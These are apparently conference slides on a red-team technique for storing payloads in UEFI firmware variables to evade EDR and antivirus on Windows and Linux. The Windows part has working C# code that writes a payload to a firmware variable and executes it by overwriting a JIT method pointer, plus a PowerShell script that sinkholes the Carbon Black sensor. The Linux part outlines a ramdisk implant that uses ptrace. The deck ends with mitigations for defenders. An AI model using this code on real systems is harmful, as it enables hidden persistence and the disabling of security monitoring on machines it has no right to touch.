EDR Is Coming; Hide yo Sh!t

@TTimzen
@r00tkillah
Who are we?

Michael “@r00tkillah” Leibowitz

NSA Playset

Principle Troublemaker

Topher Timzen (@TTimzen)

C# Malware is <3

Principal Vulnerability Enthusiast

RED TEAM ! ! ! !
Agenda

- What is EDR and why do we care?
- UEFI security and variables overview
- Windows platform hijinks with demo
- Linux platform hijinks with demo
- What does this all mean?
- Mitigations and Recommendations
- Future work
- Conclusions
EDR
Enterprise Detection and Response (EDR)

Defensive tooling that focuses on detecting, investigating and mitigating suspicious activities on hosts and endpoints.

Provides **Blue Team** a hunt capability

Alerts mapped to MITRE ATT&CK via a SIEM or EDR directly

CrowdStrike and Carbon Black are big players in this space
### MITRE ATT&CK - [https://attack.mitre.org/](https://attack.mitre.org/)

Knowledge base of adversary tactics and techniques based on real-world observation - Tactics, Techniques, Procedures (TTP)

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command and Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive-by Compromise</td>
<td>AppleScript</td>
<td>.bash_profile and .bashrc</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipation</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>Application Window Discovery</td>
<td>Application Deployment Software</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
</tr>
<tr>
<td>Exploit Public-Facing Application</td>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Access Token Manipulation</td>
<td>BITS Jobs</td>
<td>Bash History</td>
<td>Application Window Discovery</td>
<td>Application Deployment Software</td>
<td>Automated Collection</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
</tr>
<tr>
<td>Hardware Additions</td>
<td>Command-Line Interface</td>
<td>Account Manipulation</td>
<td>AppCert DLLs</td>
<td>Binary Padding</td>
<td>Brute Force</td>
<td>Distributed Component Object Model</td>
<td>Clipboard Data</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
<td></td>
</tr>
<tr>
<td>Replication Through Removable Media</td>
<td>Compiled HTML File</td>
<td>AppCert DLLs</td>
<td>Bypass User Account Control</td>
<td>Credential Dumping</td>
<td>File and Directory Discovery</td>
<td>Exploitation of Remote Services</td>
<td>Data Staged</td>
<td>Data Transfer Size Limits</td>
<td>Custom Command and Control Protocol</td>
<td></td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Control Panel Items</td>
<td>AppInit DLLs</td>
<td>Application Shimming</td>
<td>CMSTP</td>
<td>Credentials in Files</td>
<td>Network Service Scanning</td>
<td>Logon Scripts</td>
<td>Data from Information Repositories</td>
<td>Exfiltration Over Alternative Protocol</td>
<td>Custom Cryptographic Protocol</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>Dynamic Data Exchange</td>
<td>Application Shimming</td>
<td>Bypass User Account Control</td>
<td>Clear Command History</td>
<td>Credentials in Registry</td>
<td>Network Share Discovery</td>
<td>Pass the Hash</td>
<td>Data from Local System</td>
<td>Exfiltration Over Command and Control Channel</td>
<td>Data Encoding</td>
</tr>
<tr>
<td>Spearphishing via Service</td>
<td>Execution through API</td>
<td>Authentication Package</td>
<td>DLL Search Order Hijacking</td>
<td>Code Signing</td>
<td>Exploitation for Credential Access</td>
<td>Network Sniffing</td>
<td>Pass the Ticket</td>
<td>Data from Network Shared Drive</td>
<td>Exfiltration Over Other Network Medium</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Supply Chain Compromise</td>
<td>Execution through Module Load</td>
<td>BITS Jobs</td>
<td>Dylib Hijacking</td>
<td>Compiled HTML File</td>
<td>Forced Authentication</td>
<td>Password Policy Discovery</td>
<td>Remote Desktop Protocol</td>
<td>Data from Removable Media</td>
<td>Exfiltration Over Physical Medium</td>
<td>Domain Fronting</td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>Exploitation for Client Execution</td>
<td>Bootkit</td>
<td>Exploitation for Privilege Escalation</td>
<td>Component Firmware</td>
<td>Hooking</td>
<td>Peripheral Device Discovery</td>
<td>Remote File Copy</td>
<td>Email Collection</td>
<td>Scheduled Transfer</td>
<td>Fallback Channels</td>
</tr>
</tbody>
</table>
Enterprise Detection and Response (EDR)

Tuned for processes, commands and API Calls

- cmd.exe /c
- powershell.exe
- Registry modifications
- Scheduled Tasks

All of these mapped to MITRE TTPs
The Other Risk Curve

Time ->

Likelihood of Detection

Initial shell popped

Persistence phase starts
Result of EDR

```
etc
add esp, 10h
push 400h ; nSize
push esi ; lpBuffer
push edi ; lpName
call ds:GetEnvironmentVariableW ; get %appdata% envvar
mov edi, ds:1strcatW
lea ecx, [ebp+String2]
push ecx ; lpString2
push esi ; lpString1
mov dword ptr [ebp+String2], '\n'
call edi ; 1strcatW
push ebx ; lpString2
push esi ; lpString1
call edi ; 1strcatW
xor eax, eax
mov [ebp+var_20], ax
mov eax, esi
mov dword ptr [ebp+ValueName], 730055h
mov [ebp+var_48], 720065h
mov [ebp+var_44], 6E0049h
mov [ebp+var_40], 740069h
mov [ebp+var_3C], 70004Dh
mov [ebp+var_38], 4C0072h
mov [ebp+var_34], 67006Fh
mov [ebp+var_30], 6E006Fh
mov [ebp+var_2C], 630053h
mov [ebp+var_28], 690072h
mov [ebp+var_24], 740070h ; UserInitMprLogonScript
lea edx, [eax+2]
```
The Other Risk Curve (Modified)

- Initial shell popped
- Persistence phase starts
UEFI
Unified Extensible Firmware Interface (UEFI)

Trusted Platforms UEFI, PI and TCG-based firmware (Zimmer, Dasari, & Brogan, 2009, p. 16)
But Why UEFI Firmware Variables?

Hides payload from AV, and EDR, and requires memory forensics to investigate

EDR platform getting your reader binary doesn’t mean anything

Tons of places to hide there!

- Test0 E660597E-B94D-4209-9C80-1805B5D19B69 NV+BS+RT
- Test1 E660597E-B94D-4209-9C80-1805B5D19B69 NV+BS+RT
UEFI Firmware Variables

Authenticated

- Secure boot nonsense (PK, KEK, db/dbx)
- Performs a certificate check when writing variable

Unauthenticated

- No verification on write
- Majority of variables are unauthenticated
UEFI Firmware Variable Attributes

UEFI specification defines variable attributes can be:

- Non-volatile (NV)
- Boot services access (BS)
- Runtime access (RT)
- Hardware error record (HR)
- Count based authenticated write access
- Time based authenticated write access (AT)
Windows Platform
UEFI On Windows

“Starting with Windows 10, version 1803, Universal Windows apps can use GetFirmwareEnvironmentVariable and SetFirmwareEnvironmentVariable (and their 'ex' variants) to access UEFI firmware variables”

SE_SYSTEM_ENVIRONMENT_NAME privilege is required to Read/Write Administration account with Universal Windows App “required”

https://docs.microsoft.com/en-us/windows/desktop/sysinfo/access-uefi-firmware-variables-from-a-universal-windows-app
Read/Write UEFI Firmware Variable API

C++

```c++
DWORD GetFirmwareEnvironmentVariableExA(
    LPCSTR lpName,
    LPCSTR lpGuid,
    PVOID pBuffer,
    DWORD nSize,
    PDWORD pdwAttributes
);
```

C++

```c++
BOOL SetFirmwareEnvironmentVariableExA(
    LPCSTR lpName,
    LPCSTR lpGuid,
    PVOID pValue,
    DWORD nSize,
    DWORD dwAttributes
);
```
<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>VARIABLE_ATTRIBUTE_NON_VOLATILE 0x00000001</td>
<td>The firmware environment variable is stored in non-volatile memory (e.g. NVRAM).</td>
</tr>
<tr>
<td>VARIABLE_ATTRIBUTE_BOOTSERVICE_ACCESS 0x00000002</td>
<td>The firmware environment variable can be accessed during boot service.</td>
</tr>
<tr>
<td>VARIABLE_ATTRIBUTE_RUNTIME_ACCESS 0x00000004</td>
<td>The firmware environment variable can be accessed at runtime. Note: Variables with this attribute set, must also have VARIABLE_ATTRIBUTE_BOOTSERVICE_ACCESS set.</td>
</tr>
</tbody>
</table>
C++ [&& or ||] C#

C++ is a viable option and was the initial language used, however

- Too many API calls to Virtual*
  - Requires RWX memory to be present for execution
  - EDR and AV see these API calls
  - C# can do everything needed with Reflection
- More difficult to bypass WDAC
- C# Allows for easy use of Cobalt Strike + Powerpick
- Reference code available in repo for both
Steps for Writing UEFI variable

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()
2. Get address of a pinned buffer in C# (payload)
3. Write to UEFI variable with SetFirmwareEnvironmentVariableEx()
Steps for Writing UEFI variable

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()

```csharp
bool ret = pinvoke.SetPriv();

public static bool SetPriv()
{
    bool retVal;
    TokPrivILuid tp;
    IntPtr hproc = GetCurrentProcess();
    IntPtr htok = IntPtr.Zero;
    retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
    tp.Count = 1;
    tp.Luid = 0;
    tp.Attr = SE_PRIVILEGE_ENABLED;
    retVal = LookupPrivilegeValue(null, SE_TIME_ZONE_NAMETEXT, ref tp.Luid);
    retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    return retVal;
}
```
Steps for Writing UEFI variable

2. Get address of a pinned buffer in C# (payload)

```csharp
1. IntPtr bufferPRE = IntPtr.Zero;
3. bufferPRE = pinnedArray.AddrOfPinnedObject();
```
Steps for Writing UEFI variable

3. Write to UEFI variable with

```csharp
string variableName = "CSHARP-UEFI";
string GUID = "{E660597E-B94D-4209-9C80-1805B5D19B69}";
pinvoke.SetFirmwareEnvironmentVariableEx(
    variableName, GUID, bufferPRE,
    (uint)buf.buffer.Length,
    (uint)pinvoke.dwAttributes.VARIABLE_ATTRIBUTE_NON_VOLATILE);
```
Steps for Executing UEFI variable

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()
2. P/Invoke with Virtual(Alloc, Protect) to obtain RWX Memory
3. Obtain UEFI variable payload with GetFirmwareEnvironmentVariableVariableEx()
Steps for Reading UEFI variable

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()

```csharp
bool ret = pinvoke.SetPriv();

public static bool SetPriv()
{
    bool retVal;
    TokPriv1Luid tp;
    IntPtr hproc = GetCurrentProcess();
    IntPtr htok = IntPtr.Zero;
    retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
    tp.Count = 1;
    tp.Luid = 0;
    tp.Attr = SE_PRIVILEGE_ENABLED;
    retVal = LookupPrivilegeValue(null, SE_TIME_ZONE_NAMETEXT, ref tp.Luid);
    retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    return retVal;
}
```
Steps for Executing UEFI variable

2. P/Invoke with Virtual(Alloc, Protect) to obtain RWX Memory

```csharp
virtualMemory = sc.VirtualAlloc(IntPtr.Zero,
    new UIntPtr((uint)payload.buf.Length),
    sc.AllocationType.COMMIT | sc.AllocationType.RESERVE,
    sc.MemoryProtection.EXECUTE_READWRITE);
```
## C# and P/Invoke Virtual(Alloc, Protect) API Calls

<table>
<thead>
<tr>
<th>details</th>
<th>source</th>
<th>relevance</th>
</tr>
</thead>
<tbody>
<tr>
<td>Found string &quot;VirtualAlloc&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: KERNELBASE.DLL)</td>
<td>String</td>
<td>10/10</td>
</tr>
<tr>
<td>Found string &quot;VirtualFree&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: KERNELBASE.DLL)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Found string &quot;OpenProcessToken&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: ADVAPI32.DLL)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Found string &quot;AdjustTokenPrivileges&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: ADVAPI32.DLL)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Found string &quot;GetCurrentProcess&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: KERNELBASE.DLL)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Found string &quot;VirtualProtect&quot; (Source: Saba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39.bin, API is part of module: KERNELBASE.DLL)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

https://www.hybrid-analysis.com/sample/5aba178a512ae2c1c5afccf113c6dc0f80c47fdeee294781483b8aa07002cf39/5c74860b028838095154dad0
C# and P/Invoke, No No

Dear creators, you lovely people,

Please don't p/invoke in your .NET apps unless you're 100% sure you have NO OTHER OPTION. The .NET framework is way richer than you may realise, and p/invoke stands out like "the proverbials" to EDR solutions.

Much <3 for your efforts.
OJ

7:06 PM - 7 Apr 2019

6 Retweets 33 Likes
Steps for Executing UEFI variable

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()
2. P/Invoke RWX Memory
3. Obtain UEFI variable payload with GetFirmwareEnvironmentVariableEx()
Steps for Executing UEFI variable to Evade EDR and AV

1. Obtain SE_SYSTEM_ENVIRONMENT_NAME with SetPriv()
2. Reflectively obtain RWX JIT memory page to read UEFI variable into
3. Write UEFI variable payload to method ptr with GetFirmwareEnvironmentVariableEx()
4. Execute method
C# with Reflection for Method Ptr Overwrite to Execute

Method Table contains address of JIT stub for a class’s methods.

During JIT the Method Table is referenced

Grab Method Ptr as RWX memory location and overwrite it!

C# with Reflection for Method Ptr Overwrite to Execute

2. Reflectively obtain RWX JIT memory page to read UEFI variable into

A. Define a method to overwrite
B. JIT the method
C. Obtain ptr to method

A. Define a method to overwrite

```csharp
public static void overwriteMe()
{
    bool malCode = false;
    if (malCode is true)
        return;
    return;
}
```
C# with Reflection for Method Ptr Overwrite to Execute

B. JIT the method

C. Obtain ptr to method

```csharp
myMethod = typeof(Program).GetMethod("overwriteMe");
ptrToMethod = myMethod.MethodHandle.GetFunctionPointer();
```

3. Write UEFI variable payload to method ptr with GetFirmwareEnvironmentVariableEx()

4. Execute method

```csharp
retValue = pInvoke.GetFirmwareEnvironmentVariableEx(variableName, 
GUID, 
ptrToMethod, 
bufferLEN, 
(uint)0);

overwriteMe();
```

Steps for Infection (Demo)

1. Obtain shell on target
2. Run WriteUEFICSharp
3. Set persistence for ReadUEFICSharp
4. Run ReadUEFICSharp
Windows Demo
Persistence?

Exercise up to the reader

WDAC Bypasses are a good means to persist with unsigned code

Your payload is in a UEFI variable, GLHF Analyst!
What About Windows EDR Products?

We saw no relevant information in EDR pertaining to the usage of UEFI variables.

Startup events are seen without rootkit, but no malicious activity reported.

- AV is clean
- No Virtual* API Calls
Sinkhole your EDR

SYNOPSIS
This script will disable the Carbon Black sensor (cb.exe). This will prevent live response and prevent any logs from being sent to the server. This triggers an alert on Carbon Black if 'tamper protection' is enabled.

DESCRIPTION
Sink hole Carbon Black sensor

NOTES
File Name : Sinkhole-Carbon-Black-Sensor.ps1
Requires : Powershell V2

function Sinkhole-Carbon-Black-Sensor
{
    $hostStr = findstr SensorBackendServer C:\Windows\CarbonBlack\Sensor.LOG
    $fqdn = $hostStr.split(':') [7]
    $hostname = $fqdn.trim('://')
    $hostsPath = "$env:windir\System32\drivers\etc\hosts"
    "127.0.0.1 $hostname" | Add-Content $hostsPath
}
WDAC Bypasses

There has been a lot of research on bypassing WDAC and Windows Universal Apps


Signed Code is not a proper mitigation currently in Windows 10
Linux Platform
The Problem Space

The Kernel

EDR

Your Sample
Envisioning The Solution

The Kernel

EDR

Your Payload
Linux Boot Flow

Signed by OEM

UEFI
Linux Boot Flow

Subsystem:
- UEFI
- shim

Signed by
- OEM
- MSFT

Status: 
- Unhappy face

These components represent the flow of booting, showing dependencies and signatures.
Linux Boot Flow

Signed by OEM
Signed by MSFT
Signed by distro

UEFI  Shim  Grub
Linux Boot Flow

- Signed by OEM
- Signed by MSFT
- Signed by distro

- UEFI
- shim
- grub
- linux
Linux Boot Flow

- Signed by OEM
- Signed by MSFT
- Signed by distro
- Unsigned and generated on system

UEFI → shim → grub → linux → ramdisk
Linux Boot Flow

- Signed by OEM
- Signed by MSFT
- Signed by distro
- Unsigned and generated on system

UEFI → shim → grub → linux → ramdisk → EDR
ptrace, Man! man (2) ptrace

+ PTRACE_SETREGS
+ PTRACE_PEEKTEXT, PTRACE_PEEKDATA
+ PTRACE_POKETEXT, PTRACE_POKEDATA
- YAMA
- SELinux/AppArmor/SMACK/TOMOYO/etc

+ Policy applied in userspace!!
Boot Flow, Continued

1

Ramdisk land
Boot Flow, Continued

exec

1

Ramdisk land

Rootfs land
Boot Flow, Continued

1. Exec Ramdisk
2. Policy load
3. EDR Rootfs

Ramdisk land
Rootfs land
DESCRIPTION

The fanotify API provides notification and interception of filesystem events. Use cases include virus scanning and hierarchical storage management.
memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file ...

... it lives in RAM and has a volatile backing storage.
Since Linux 4.6, the "current" timer slack value of any process can be examined and changed via the file /proc/[pid]/timerslack_ns. See proc(5).
config EFI_VARS

If you say Y here, you are able to get EFI (Extensible Firmware Interface) variable information via sysfs. You may read, write, create, and destroy EFI variables through this interface.
Surviving MS_MOVE

1. Poll on /proc/self/mounts
2. Sleep while initramfs finishes and init starts
3. Create a new mount namespace
4. Mount proc (it's not in initramfs)
5. Set mount namespace to init's namespace through setns
6. chroot(“/proc/1/root”)
7. chdir(“.”)
8. chroot(“/”)

Boot Flow, Modified

1
fork
exec
Ramdisk land

UEFI
Boot Flow, Modified

1. fork
2. exec

Ramdisk land

open

UEFI
Boot Flow, Modified

1

fork

exec

Ramdisk land

Rootfs land

1

UEFI
Boot Flow, Modified

1 -> fork -> exec

1 -> Ramdisk land

1 -> Rootfs land

UEFI
Boot Flow, Modified

1. fork
2. exec

UEFI

Ramdisk land
Rootfs land

STOP
Boot Flow, Modified

1. fork
2. exec
3. ptrace

UEFI

Ramdisk land
Rootfs land
Ptrace

0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d
0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d
0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx
0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi
0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi
0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax
0x7fa413d56bb5 <epoll_wait+85>: syscall

=> 0x7fa413d56bb7 <epoll_wait+87>: cmp $0xfffffffffffffff000,%rax

0x7fa413d56bbd <epoll_wait+93>: ja 0x7fa413d56bf2
eax: 0x13f (memfd_create)

0x7fa413d56ba2 <epoll_wait+66>: mov %r13d,%r10d
0x7fa413d56ba5 <epoll_wait+69>: mov %eax,%r8d
0x7fa413d56ba8 <epoll_wait+72>: mov %r12d,%edx
0x7fa413d56bab <epoll_wait+75>: mov %rbp,%rsi
0x7fa413d56bae <epoll_wait+78>: mov %ebx,%edi
0x7fa413d56bb0 <epoll_wait+80>: mov $0xe8,%eax
=> 0x7fa413d56bb5 <epoll_wait+85>: syscall
0x7fa413d56bb7 <epoll_wait+87>: cmp $0xffffffffffffffff, %rax
0x7fa413d56b0 <epoll_wait+93>: ja 0x7fa413d56bf2
 Paxtrace

eax: 0x13f (memfd_create)

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x7fa413d56ba2</td>
<td>mov %r13d,%r10d</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56ba5</td>
<td>mov %eax,%r8d</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56ba8</td>
<td>mov %r12d,%edx</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bab</td>
<td>mov %rbp,%rsi</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bae</td>
<td>mov %ebx,%edi</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bb0</td>
<td>mov $0xe8,%eax</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bb5</td>
<td>syscall</td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bb7</td>
<td>cmp</td>
<td></td>
</tr>
<tr>
<td>$0xfffffffffffff000,%rax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x7fa413d56bbd</td>
<td>ja 0x7fa413d56bf2</td>
<td></td>
</tr>
</tbody>
</table>
eax: 0x9  (mmap)

0x7fa413d56ba2 <epoll_wait+66>:  mov  %r13d,%r10d
0x7fa413d56ba5 <epoll_wait+69>:  mov  %eax,%r8d
0x7fa413d56ba8 <epoll_wait+72>:  mov  %r12d,%edx
0x7fa413d56bab <epoll_wait+75>:  mov  %rbp,%rsi
0x7fa413d56bae <epoll_wait+78>:  mov  %ebx,%edi
0x7fa413d56bb0 <epoll_wait+80>:  mov  $0xe8,%eax
=> 0x7fa413d56bb5 <epoll_wait+85>:  syscall
    0x7fa413d56bb7 <epoll_wait+87>:  cmp
    $0xfffffffffffffff00000,%rax
0x7fa413d56bbd <epoll_wait+93>:  ja  0x7fa413d56bf2
eax: 0x9  (mmap)

ret2libc (dlopen)
eax: 0x9  (mmap)

0x7fa413d56ba2 <epoll_wait+66>:  mov  %r13d,%r10d
0x7fa413d56ba5 <epoll_wait+69>:  mov  %eax,%r8d
0x7fa413d56ba8 <epoll_wait+72>:  mov  %r12d,%edx
0x7fa413d56bab <epoll_wait+75>:  mov  %rbp,%rsi
0x7fa413d56bae <epoll_wait+78>:  mov  %ebx,%edi
0x7fa413d56bb0 <epoll_wait+80>:  mov  $0xe8,%eax
0x7fa413d56bb5 <epoll_wait+85>:  syscall
=> 0x7fa413d56bb7 <epoll_wait+87>:  cmp  $0xfffffffffffff000,%rax
0x7fa413d56bbd <epoll_wait+93>:  ja   0x7fa413d56bf2
Boot Flow, Modified

1

fork
exec
CONT

Ramdisk land
Rootfs land

UEFI
Boot Flow, Modified

1

fork

exec

Ramdisk land

Rootfs land

UEFI
Linux Demo

1. See noise in auditd of exploiting enterprise_tool
2. Install implant into UEFI and ramdisk
3. Reboot
4. Set timerslack marker
5. Exploit enterprise_tool
6. See no output in log
7. Show policy in place
8. Show variable
Linux Demo
What does this all mean?
Net Happiness Increase

You

Analyst
Mitigations and Recommendations
Mitigations and Recommendations

Monitor and Audit UEFI variables across your organizations fleet

EDR Should detect UEFI APIs

- It is not common for apps to Set/Get Firmware Variables
- NV+BS+RT Variables are suspicious if created after installation of platform
Mitigations and Recommendations

EDR Tamper Resistance is not effective

- Sinkholing or killing the sensor usually does not give alerts
- Vendors need to work on securing their processes
  - Alert on sinkhole
  - Do not allow ptrace

Stop assembling ramdisks on systems!
Closing and the Rest
Future Work

Look into hiding inside of UEFI Configuration Storage

Analyze more EDR products and how they handle UEFI variables

Use these techniques in more Red Team engagements to increase defender efficacy

Look at more platforms for their usage of UEFI variables

- More places to hide
Closing

Have yourself a uefi.party and plunder away your loot!

Sucker punch that pesky EDR!

GitHub Repo at

https://github.com/perturbed-platypus
References

https://redcanary.com/blog/detecting-all-the-things-with-limited-data/

https://countercept.com/blog/av-bypass-techniques-through-an-edr-lens/

https://github.com/rrbranco/BlackHat2017/blob/master/BlackHat2017-BlackBIOS-v0.13-Published.pdf

https://github.com/emptymonkey/ptrace_do

https://github.com/eklitzke/ptrace-call-userspace

https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
References for MITRE TTPs

Tuned for processes, commands and API Calls

- cmd.exe /c
  - [https://attack.mitre.org/techniques/T1059/](https://attack.mitre.org/techniques/T1059/)
- powershell.exe
  - [https://attack.mitre.org/techniques/T1086/](https://attack.mitre.org/techniques/T1086/)
- Registry modifications
  - [https://attack.mitre.org/techniques/T1112/](https://attack.mitre.org/techniques/T1112/)
- Scheduled Tasks
  - [https://attack.mitre.org/techniques/T1053/](https://attack.mitre.org/techniques/T1053/)